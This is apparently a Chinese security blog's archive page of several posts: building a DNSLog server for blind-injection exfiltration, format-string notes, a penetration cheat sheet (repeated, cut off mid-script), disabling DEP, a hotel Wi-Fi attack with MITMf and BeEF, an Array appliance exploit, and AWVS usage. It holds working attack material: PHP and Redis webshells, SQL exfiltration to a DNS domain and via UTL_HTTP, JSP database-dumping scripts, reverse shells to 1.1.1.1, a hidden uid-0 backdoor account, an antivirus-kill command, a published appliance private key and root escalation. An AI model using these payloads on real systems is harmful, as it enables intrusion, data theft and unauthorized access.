如何低成本搭建dnslog服务器

12月 31 2016 安全技术 11 分钟读完 (约 1598 字)

DNSLog，简单来说，就是通过记录对于域名的DNS请求，通过dns请求这个相对“隐蔽”的渠道，来委婉地获取到想要获得的信息。
例如，在一个针对mysql数据库的注入中，如果没有回显，可能很多时候就要歇菜。
但如果对方的数据库服务器连接公网并且是Windows机器的话，就可以用这种姿势来获取信息：

1	SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user WHERE user='root' LIMIT 1),'.nogan.ga\\xxx'))

你将会看到类似：

当然你可能会说直接用http协议传输不就好了吗，确实http协议也可以，但是http协议毕竟有局限的地方，例如容易被防火墙限制等。
而dns作为一种基础协议有时候并不会被随便禁用，一些内网当中对于DNS协议的管控和检测是个薄弱的点，相对http来说DNS协议也更加隐蔽。

近几年DNSLog被尤其广泛地运用于无回显的SQL注入、命令执行、XML实体注入等漏洞的检测当中，算是一门很基础的老技术了。

关于DNSLog的具体应用，这里就不多说了，感兴趣的可以进一步阅读以下文章：

https://www.anquanke.com/post/id/98096

http://www.freebuf.com/column/158579.html

https://www.cnblogs.com/afanti/p/8047530.html

那么如何低成本搭建dnslog服务器？接下来就来简要分享一个低成本构建DNSLog服务的方法。

准备材料：

(1) 一台低成本的VPS：这里推荐使用某国外的便宜VPS，完整root权限，单核512MB/10GSSD，￥128/年，购买链接在文章最后
(2) 一个可以接收邮件的邮箱：用来注册免费域名

搭建过程

注册域名

首先到 https://freenom.com 注册用户，同时注册一个免费的域名
以我这里为例，注册一个nogan.ga

注册的时候，在DNS选项中，选择使用自己的DNS，新建DNS服务器的地址，例如我这里自定义了两个dns服务器，分别是
ns0.nogan.ga和ns1.nogan.ga，并且将他们的地址指向我的VPS服务器。

点击Continue，进入到结算页面。
如果你上一步没有注册用户，那么可以直接在这里填你用来注册用户的邮箱，然后根据指引进行操作。
如果注册了用户，只需要直接登录就可以了。

进入到Review and Checkout页面，填入一些你的基本信息就可以了

这里记得勾选Lock profile，你的信息就不会被whois查询到了。

接着下一步，勾选Complate Order，域名就注册成功了。

部署DNS服务

登录你的VPS服务器，运行下面这个python脚本，将在你的VPS主机监听UDP 53端口，并且回复DNS响应包：

记得修改IP地址和NS域名，在最后。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2014-06-29 03:01:25
# @Author  : Your Name ([email protected])
# @Link    : http://example.org
# @Version : $Id$

import SocketServer
import struct
import socket as socketlib
# DNS Query
class SinDNSQuery:
    def __init__(self, data):
        i = 1
        self.name = ''
        while True:
            d = ord(data[i])
            if d == 0:
                break;
            if d < 32:
                self.name = self.name + '.'
            else:
                self.name = self.name + chr(d)
            i = i + 1
        self.querybytes = data[0:i + 1]
        (self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
        self.len = i + 5
    def getbytes(self):
        return self.querybytes + struct.pack('>HH', self.type, self.classify)



# DNS Answer RRS
# this class is also can be use as Authority RRS or Additional RRS 
class SinDNSAnswer:
    def __init__(self, ip):
        self.name = 49164
        self.type = 1
        self.classify = 1
        self.timetolive = 190
        self.datalength = 4
        self.ip = ip

    def getbytes(self):
        res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
        s = self.ip.split('.')
        res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
        return res

# DNS frame
# must initialized by a DNS query frame
class SinDNSFrame:
    def __init__(self, data):
        (self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
        self.query = SinDNSQuery(data[12:])

    def getname(self):
        return self.query.name

    def setip(self, ip):
        self.answer = SinDNSAnswer(ip)
        self.answers = 1
        self.flags = 33152

    def getbytes(self):

        res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
        res = res + self.query.getbytes()
        if self.answers != 0:
            res = res + self.answer.getbytes()
        return res

# A UDPHandler to handle DNS query
class SinDNSUDPHandler(SocketServer.BaseRequestHandler):
    def handle(self):
        data = self.request[0].strip()
        dns = SinDNSFrame(data)
        socket = self.request[1]
        namemap = SinDNSServer.namemap
        if(dns.query.type==1):
            # If this is query a A record, then response it
            name = dns.getname();
            toip = None
            ifrom = "map"
            if namemap.__contains__(name):
                # If have record, response it
                # dns.setip(namemap[name])
                # socket.sendto(dns.getbytes(), self.client_address)
                toip = namemap[name]
            elif namemap.__contains__('*'):
                # Response default address
                # dns.setip(namemap['*'])
                # socket.sendto(dns.getbytes(), self.client_address)
                toip = namemap['*']
            else:
                # ignore it
                # socket.sendto(data, self.client_address)
                # socket.getaddrinfo(name,0)
                try:
                    toip = socketlib.getaddrinfo(name,0)[0][4][0]
                    ifrom = "sev"
                    # namemap[name] = toip
                    # print socket.getaddrinfo(name,0)
                except Exception, e:
                    print 'get ip fail'
            if toip:
                dns.setip(toip)

            print '%s: %s-->%s (%s)'%(self.client_address[0], name, toip, ifrom)
            socket.sendto(dns.getbytes(), self.client_address)
        else:
            # If this is not query a A record, ignore it
            socket.sendto(data, self.client_address)

# DNS Server
# It only support A record query
# user it, U can create a simple DNS server
class SinDNSServer:
    def __init__(self, port=53):
        SinDNSServer.namemap = {}
        self.port = port

    def addname(self, name, ip):
        SinDNSServer.namemap[name] = ip

    def start(self):
        HOST, PORT = "0.0.0.0", self.port
        server = SocketServer.UDPServer((HOST, PORT), SinDNSUDPHandler)
        server.serve_forever()

# Now, test it
if __name__ == "__main__":
    sev = SinDNSServer()
        sev.addname('ns0.nogan.ga','x.x.x.x') 
        sev.addname('ns1.nogan.ga','x.x.x.x')
        sev.addname('www.nogan.ga','y.y.y.y')
        sev.addname('*', '127.0.0.1') # default address

    sev.start() # start DNS server

将上面的ns0.nogan.ga和ns1.nogan.ga改成你的域名，并且将x.x.x.x改成你的VPS服务器地址。
如果你在搭建DNSLog的同时还想顺便搭建一个网站的话，可以添加一个www记录，指向你的web服务器地址。
星号是将任意地址执行127.0.0.1，这样你的DNSLog请求记录，都会被默认解析到127.0.0.1。

接着在服务器上运行

1	python dns.py

在任意机器上面ping xxxxx.YOURDOMAIN：

可以在VPS上观察到请求已经过来了

但这个时候程序是一直在控制台运行的，想要退出怎么办呢，用nohup将程序改为背景运行：

想要关闭的话，先查看端口并获取进程号，然后kill即可：

Enjoy it~

附：

搬瓦工VPS优惠地址（推荐 $19.99/年，约合RMB￥128）：

https://bandwagonhost.com/cart.php
可能要扶梯 = =

格式化字符串漏洞利用笔记

12月 31 2016 安全技术 3 分钟读完 (约 481 字)

C语言字符串格式化类型：

Type	Description
%c	输出字符，配上%n可用于向指定地址写数据。
%d	输出十进制整数，配上%n可用于向指定地址写数据。
%x	输出16进制数据，如%i$x表示要泄漏偏移i处4字节长的16进制数据，%i$lx表示要泄漏偏移i处8字节长的16进制数据，32bit和64bit环境下一样。
%p	输出16进制数据，与%x基本一样，只是附加了前缀0x，在32bit下输出4字节，在64bit下输出8字节，可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s	输出的内容是字符串，即将偏移处指针指向的字符串输出，如%i$s表示输出偏移i处地址所指向的字符串，在32bit和64bit环境下一样，可用于读取GOT表等信息。
%n	将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置，如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址（4字节），而%$hn表示写入的地址空间为2字节，%$hhn表示写入的地址空间为1字节，%$lln表示写入的地址空间为8字节，在32bit和64bit环境下一样。有时，直接写4字节会导致程序崩溃或等候时间过长，可以通过%$hn或%$hhn来适时调整。%n是通过格式化字符串漏洞改变程序流程的关键方式，而其他格式化字符串参数可用于读取信息或配合%n写数据。

参考：
https://www.anquanke.com/post/id/85785

渗透常用代码

12月 31 2016 安全技术 6 分钟读完 (约 829 字)

PHP相关

<?php copy("http://x.x.x.x/shell.txt", "d:\www\shell.php"); ?>

<?php include "$_GET['_']"; ?>

<?php assert($_POST["1"]);?>

<?php
$url = "http://x.x.x.x/shell.txt";
$contents = file_get_contents($url);
echo $contents;
?>

Mysql数据库
phpmyadmin爆路径

1	http://url/phpMyAdmin/libraries/select_lang.lib.php

SQL语句导出shell:

1	select "<?php eval($_POST['1']);?>" into outfile 'C:\www\shell.php';

Redis数据库
写shell:

config set dir D:\www
config set dbfilename shell.php
set webshell "<?php eval($_POST[x]);?>"
save

Oracle数据库
查数据库ip

1	select sys_context('userenv','ip_address') from dual

通过外连回传数据

1	SELECT UTL_HTTP.request('http://target.com/getdata?data='\|\|TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1

查询所有表

1	SELECT * FROM ALL_TABLES

查询当前用户表

1	select table_name from user_tables;

查询所有表按大小排序

1 2	SELECT TABLE_NAME,NUM_ROWS FROM ALL_TABLES order by NUM_ROWS desc select table_name,NUM_ROWS from user_tables order by NUM_ROWS desc

查询表前十条

1	select * from users where rownum < 10

分页查询 2000000 到 4000000

1	SELECT * FROM (SELECT e.,ROWNUM rn FROM (select from user ) e WHERE ROWNUM <= 4000000) WHERE rn > 2000000

查询当前编码

1	select userenv('language') from dual;

命令行执行

1	export NLS_LANG="american_america.AL32UTF8"

拖库脚本

JSP1

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@172.0.0.1:1521:orabi", "admin", "admin");
File f = new File("/webapps/ROOT/css/t1.txt");
BufferedWriter bw = new BufferedWriter(new FileWriter(f));
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
ResultSet rs=stmt.executeQuery("select * from member where rownum > 2000000");
ResultSetMetaData rsmd = rs.getMetaData();
int numberOfColumns = rsmd.getColumnCount();
for(int i=1;i<numberOfColumns+1;i++){
    bw.write(rsmd.getColumnName(i)+",");
}
while (rs.next()){
    for(int i=1;i<numberOfColumns+1;i++){
        bw.write(rs.getString(i)+",");
    }
    bw.newLine();
    bw.flush();
}
out.print(rs);   
%>

JSP2

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@127.0.0.1:1521", "admin", "password");
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String html="";
File file = new File("/tmp/data.txt");
BufferedReader br = new BufferedReader(new FileReader(file));
String line;
while ((line = br.readLine()) != null) {
    html=html+"<h3>"+line+":</h3><table border=1><tr>";
    ResultSet rs=stmt.executeQuery("select * from "+line+" where rownum < 100");
    ResultSetMetaData rsmd = rs.getMetaData();
    int numberOfColumns = rsmd.getColumnCount();
    for(int i=1;i<numberOfColumns+1;i++){
        html=html+"<th>"+rsmd.getColumnName(i)+"</th>";
    }
    html+="</tr>";
    while (rs.next()){
        html+="<tr>";
        for(int i=1;i<numberOfColumns+1;i++){
            html=html+"<td>"+rs.getString(i)+"</td>";
        }
        html+="</tr>";
    }
    rs.close();
    html+="<tr></table>";
}
    File f = new File("/tmp/info.css");
    BufferedWriter bw = new BufferedWriter(new FileWriter(f));
    bw.write(html);
    bw.close();
    br.close();
    stmt.close();
    conn.close();
%>

ColdFusion

<CFSET USERNAME="user">
<CFSET PASSWORD="pass">
<CFSET DATABASE="ya_db">
<CFTRY>
<CFQUERY NAME="DATA" DATASOURCE=#DATABASE# USERNAME=#USERNAME# PASSWORD=#PASSWORD#>
SELECT * FROM MEMBER
</CFQUERY>
<CFCATCH Type="Any"></CFCATCH>
</CFTRY>
<CFSAVECONTENT variable="Dump_DATA">
<CFDUMP var="#DATA#" EXPAND="YES" FORMAT="TEXT">
</CFSAVECONTENT>
<cffile action="write" output="#Dump_DATA#" FILE="C:\\RECYCLER\\#USERNAME#_DATA.txt">

反弹shell
bash

1	bash -i >& /dev/tcp/1.1.1.1/1234 0>&1

1	rm -f /tmp/p; mknod /tmp/p p && telnet 1.1.1.1 1234 0/tmp/p

ruby

1	ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

perl

perl -e 'use Socket;$i="1.1.1.1";
$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("1.1.1.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

php

1	php -r '$sock=fsockopen("1.1.1.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Windows取消共享文件夹安全警告

1 2	@echo off Reg add HKCU\Software\Microsoft\Windows\CurrentVersion\PolicIEs\Associations /v LowRiskFileTypes /t REG_SZ /d .exe;.reg;.msi;.bat;.cmd;.com;.vbs;.hta;.scr;.pif;.js;.lnk; /f

kill安全狗3.x

1	ntsd -c q -pn SafeDogGuardCenter.exe

其他
python Simple HTTP服务：

1	python -m SimpleHTTPServer

Linux相关技巧
压缩目录

1
2
3

zip  -r  root.zip  /root/*
tar -czvf root.tar.gz /root/
tar -cvf  user/tmp/ooouser.tar  user/  --exclude=image --exclude= --exclude *.jpg --exclude *.gif  --exclude *.zip  --exclude *.bmp  --exclude *.eps --exclude *.psd

添加用户并设置密码

1	useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof

收集所有.sh .pl .py .conf .cnf .ini .*history .pass (/usr/share目录里面的除外) 并打包成zip

1	find / \! -path “/usr/share/” -regex “.\.sh$\\|.\.pl$\\|.\.py$\\|.\.conf$\\|.\.cnf$\\|.\.ini$\\|.\/\..history$\\|.\/\..pass.” -print\|zip pack.zip -@

array_push 后门

1	array_map("ass\x65rt",(array)$_REQUEST['array']);

开启3389端口

1	REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

DDoS攻击放大技术

11月 3 2016 安全技术几秒读完 (约 14 字)

http://www.freebuf.com/articles/network/76021.html
http://www.cnblogs.com/UnGeek/p/5572893.html

Windows 7、Windows XP SP3关闭DEP堆栈执行保护

9月 27 2016 安全技术 1 分钟读完 (约 177 字)

初学溢出，免不了要经历这一关。
闲话不多说，直接说方法。
Windows XP SP3
在Windows XP SP3中，关闭DEP的方法是：
编辑C:\boot.ini，你大概会看到如下内容

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" 
/noexecute=optin /fastdetect

要关闭DEP，将/noexecute=optin 改为/excute，重启系统即可。

Windows 7
Windows7中不是通过boot.ini来保护了，需要在命令行中输入bcdedit，如果观察到输出的最后一项为
nx 1
表示DEP保护是开启的，并且级别为1
只需要运行

1	bcdedit /set nx alwaysoff

就可以了，然后重启系统。

Beef+MITMF小撸酒店内网

3月 28 2016 安全技术 1 分钟读完 (约 165 字)

出差，晚上闲着无聊。
于是想撸一撸酒店的内网，但是之前已经撸过很长时间了，这个地方的重要系统都做了隔离，不好撸，所以就玩玩中间人攻击好了。
用的工具:

1
2
3

OS       Debian 8
MITMF    https://github.com/byt3bl33d3r/MITMf.git
beef     https://github.com/beefproject/beef.git

先启动beef，直接在beef的目录下面./beef就运行了。

然后启动MITMF，进行中间人攻击，设置payload为beef的evil js

1	python mitmf.py -i wlan0 --spoof --arp --gateway 192.168.64.254 --hsts --inject --js-url http://192.168.71.0:3000/hook.js

然后就。。。

Array设备SSH默认用户登录漏洞

3月 8 2016 安全技术 6 分钟读完 (约 942 字)

这是一个比较老的漏洞了，但是到目前为止仍然有不少厂商在使用这个版本的设备。在渗透中也曾经遇到过。
参考自：https://www.exploit-db.com/exploits/32369/

受影响的产品有:Array Networks vxAG 9.2.0.34 and vAPV 8.3.2.17 appliances

默认用户和密码

vxAG 9.2.0.34 和 vAPV 8.3.2.17 的/etc/master.passwd 文件中包含了默认用户和密码

$ cat /etc/master.passwd
# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:$1$9QkJT4Y5$lF2BPaSI2kPlcrqz89yZv0:0:0::0:0:Charlie &:/root:/bin/csh
toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission
User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default
User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66::0:0:UUCP
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin
test:$1$UtEw8DNY$te4MRasnXgETxWOZ9Z1o10:1002:1002::0:0:test:/export/test:/bin/tcsh
sync:$1$bmfGRJPh$lWnesbn8M8xZNo3uaqfEd1:1005:0::0:0:sync:/export/sync:/bin/sh
recovery::65533:0::0:0:Recovery User:/:/ca/bin/recovery
mfg:$1$i8SV4bKc$lNMeb8Yow.p.cZvWxt1mO1:1013:1010::0:0:mfg:/export/mfg:/bin/tcsh
arraydb:*:1015:0::0:0:User &:/home/arraydb:/bin/sh
array::1016:1011::0:0:User &:/:/ca/bin/ca_shell

破解之后可以得到下列用户和密码:

1 2	用户: mfg 密码: mfg 用户: sync 密码: click1

test和root用户没破解出来。

其中sync用户默认可以远程登录:

$ssh sync@192.168.2.55 /bin/sh
sync@192.168.2.55's password:
$id
uid=1005(sync) gid=0(wheel) groups=0(wheel)

SSH 私钥

sync 用户使用了位于 “~/.ssh/id_dsa” 的登录私钥:

$ cat id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm
q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM
xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25
Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr
gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq
mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K
O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ
OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb
+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs
+sqSEhA35Le2kC4Y1/A=
-----END DSA PRIVATE KEY-----

下列文件位于 ~/.ssh 目录:

$ cat authorized_keys
1024 35
117781646131320088945310945996213112717535690524599971400605193647439008360689916421327587459429042579662784434303538942896683338584760112042194838342054595473085094045804963620754645364924583113650482968246287214031112796524662479539236259838315876244144983122361617319660444993650437402628793785173700484401
sync@AN

$ cat authorized_keys2
ssh-dss
AAAAB3NzaC1kc3MAAACBAJTDsX+8olPZeyr58g9XE0L8PKT5030NZBPlE7np4hBqx36HoWarWq1Csn8M57dWN9StKbs03k2ggY6sYJK5AW2EWar70um3pYjKQHiZq7mITmitsozFN/K7wu2e2iKRgquUwH5SuYoOJ29n7uhaILXiKZP4/H/dDudqPRSY6tJPAAAAFQDtuWH90mDbU2L/Ms2lfl/cja/wHwAAAIAMBwSHZt2ysOHCFe1WLUvdwVDHUqk3QHTskuuAnMlwMtSvCaUxSatdHahsMZ9VCHjoQUx6j+TcgRLDbMlRLnwUlb6wpniehLBFk+qakGcREqks5NxYzFTJXwROzP72jPvVgQyOZHWq81gCild/ljL7hmrduCqYwxDIz4o7U92UKQAAAIBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQOC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBg==
sync@AN

如此一来就可以使用这个私钥进入系统:

将下面的id_dsa私钥保存在”synckey”文件中:

cat > ~/synckey << EOF
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm
q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM
xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25
Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr
gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq
mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K
O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ
OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb
+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs
+sqSEhA35Le2kC4Y1/A=
-----END DSA PRIVATE KEY-----
EOF

修改一下synckey文件的权限:

1	chmod 600 ~/synckey

使用该私钥登录系统:

1	ssh -i ~/synckey sync@192.168.2.55 /bin/sh

提权

/ca/bin/monitor.sh和 /ca/bin/debug_syn_stat默认是全局可写的 (权限为777).
在monitor.sh文件中写入脚本，通过debug monitor选项重新启动该脚本会以root权限运行。
使用sync用户运行/ca/bin/backend工具，使用如下方式重启debug monitor:
关闭debug monitor:

1	/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`

开启debug monitor:

1	/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`

在/ca/bin/monitor.sh中写入反弹shell的指令，通过上述操作，即可反弹回一个root shell.

玩转AWVS(二)

2月 3 2016 安全技术 6 分钟读完 (约 963 字)

距离上一篇文章已经过去很久了，今天想起来截了几张图，来继续巴拉巴拉AVWS这个神器的使用，作为续集吧。

http sniffer
先说说AVWS自带的http sniffer功能吧，大部分人一想起抓包，嗅探这些就会想到诸如burpsuite，fiddler之类，其实AWVS本身也是自带这个功能的，请看截图:

在这里可以看见它默认启动的是8080端口作为本地监听，浏览器只要配置好代理端口为8080，流量就会经过这里。
同时右键可以点击发送到http editor和http fuzzer，方便对捕捉到的数据包进一步操作。

http editor
经过http_sniffer捕捉到的数据包，可以直接send到http editor，也可以通过复制text格式的数据包内容复制进http editor中，使用http editor进行编辑和重放，如图：

这里可以编辑http包的各个部分，点击start即可发送。

http fuzzer
这个功能是我最喜欢的功能，比起burpsuite中的Intruder要方便的多。

如上图，在这个部分，可以添加fuzzer的generator，generator的类型可以在右边的选项中指定。
配置完成后插入数据包的任何位置，点击start即可开始fuzz，唯一的遗憾应该就是不能指定线程。
fuzz动作完成后，在result一栏即可看到fuzz之后的结果。

用这个功能，省去了很多时候需要写fuzz脚本的困扰，操作起来也比burpsuite要轻松许多。

authentication tester
这个功能看名字就知道，使用来测试认证的。其实就是一个登录爆破工具，可以爆破三种类型的认证，看图:

blind sql injector
这个功能也是相当有用的一个功能，它可以代理穿山甲，sqlmap等工具来测试SQL注入。
首先需要配置好注入测试的选项，主要是指定数据库类型等等。目前貌似只支持mssql和mysql两种类型，还是略显鸡肋。

配置好选项之后，切回HTTP Request选项卡，点击Default Value输入框右边加号在需要测试的位置加入标记，并输入一个默认值，即可开始注入测试。测试完成后即可在下方观测测试结果。

通过我的多次测试结果来看，测试还是比较准确的。AWVS自带的一千多条payload，基本涵盖了sql注入所需的常规输入。

compare results
这个功能用的不怎么多，是用来比较两次扫描的结果。
扫描完成后将扫描结果保存成wvs格式的报告，通过这个功能载入后即可快速的比对出两份报告的结果异同。
因为手头上没有现成的报告，就没有测试了。感兴趣的小伙伴可以自行利用。

神器的使用就先介绍到这里，如果后续还有更多使用经验的话我再来继续补充。

【原创内容，转载请注明来自Chorder’s Mainpage:https://www.chorder.net】

玩转AWVS(一):https://chorder.net/2015/12/02/玩转AWVS(一)/
玩转AWVS(二):https://chorder.net/2016/02/03/玩转AWVS(二)/

渗透笔记

12月 6 2015 安全技术 5 分钟读完 (约 810 字)

PHP相关

<?php copy("http://x.x.x.x/shell.txt", "d:\www\shell.php"); ?>

<?php include "$_GET['_']"; ?>

<?php assert($_POST["1"]);?>

<?php
$url = "http://x.x.x.x/shell.txt";
$contents = file_get_contents($url);
echo $contents;
?>

Mysql数据库
phpmyadmin爆路径

1	http://url/phpMyAdmin/libraries/select_lang.lib.php

SQL语句导出shell:

1	select "<?php eval($_POST['1']);?>" into outfile 'C:\www\shell.php';

Redis数据库
写shell:

config set dir D:\www
config set dbfilename shell.php
set webshell "<?php eval($_POST[x]);?>"
save

Oracle数据库
查数据库ip

1	select sys_context('userenv','ip_address') from dual

通过外连回传数据

1	SELECT UTL_HTTP.request('http://target.com/getdata?data='\|\|TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1

查询所有表

1	SELECT * FROM ALL_TABLES

查询当前用户表

1	select table_name from user_tables;

查询所有表按大小排序

1 2	SELECT TABLE_NAME,NUM_ROWS FROM ALL_TABLES order by NUM_ROWS desc select table_name,NUM_ROWS from user_tables order by NUM_ROWS desc

查询表前十条

1	select * from users where rownum < 10

分页查询 2000000 到 4000000

1	SELECT * FROM (SELECT e.,ROWNUM rn FROM (select from user ) e WHERE ROWNUM <= 4000000) WHERE rn > 2000000

查询当前编码

1	select userenv('language') from dual;

命令行执行

1	export NLS_LANG="american_america.AL32UTF8"

拖库脚本
JSP1

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@172.0.0.1:1521:orabi", "admin", "admin");
File f = new File("/webapps/ROOT/css/t1.txt");
BufferedWriter bw = new BufferedWriter(new FileWriter(f));
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
ResultSet rs=stmt.executeQuery("select  *   from  member where  rownum > 2000000");
ResultSetMetaData rsmd = rs.getMetaData();
int numberOfColumns = rsmd.getColumnCount();
for(int i=1;i<numberOfColumns+1;i++){
	bw.write(rsmd.getColumnName(i)+",");
}
while (rs.next()){
	for(int i=1;i<numberOfColumns+1;i++){
		bw.write(rs.getString(i)+",");
	}
	bw.newLine();
	bw.flush();
}
out.print(rs);   
%>

JSP2

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@127.0.0.1:1521", "admin", "password");
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String html="";
File file = new File("/tmp/data.txt");
BufferedReader br = new BufferedReader(new FileReader(file));
String line;
while ((line = br.readLine()) != null) {
	html=html+"<h3>"+line+":</h3><table border=1><tr>";
	ResultSet rs=stmt.executeQuery("select * from "+line+" where rownum < 100");
	ResultSetMetaData rsmd = rs.getMetaData();
	int numberOfColumns = rsmd.getColumnCount();
	for(int i=1;i<numberOfColumns+1;i++){
		html=html+"<th>"+rsmd.getColumnName(i)+"</th>";
	}
html+="</tr>";
while (rs.next()){
		html+="<tr>";
		for(int i=1;i<numberOfColumns+1;i++){
			html=html+"<td>"+rs.getString(i)+"</td>";
		}
		html+="</tr>";
	}
	rs.close();
	html+="<tr></table>";
}
	File f = new File("/tmp/info.css");
	BufferedWriter bw = new BufferedWriter(new FileWriter(f));
	bw.write(html);
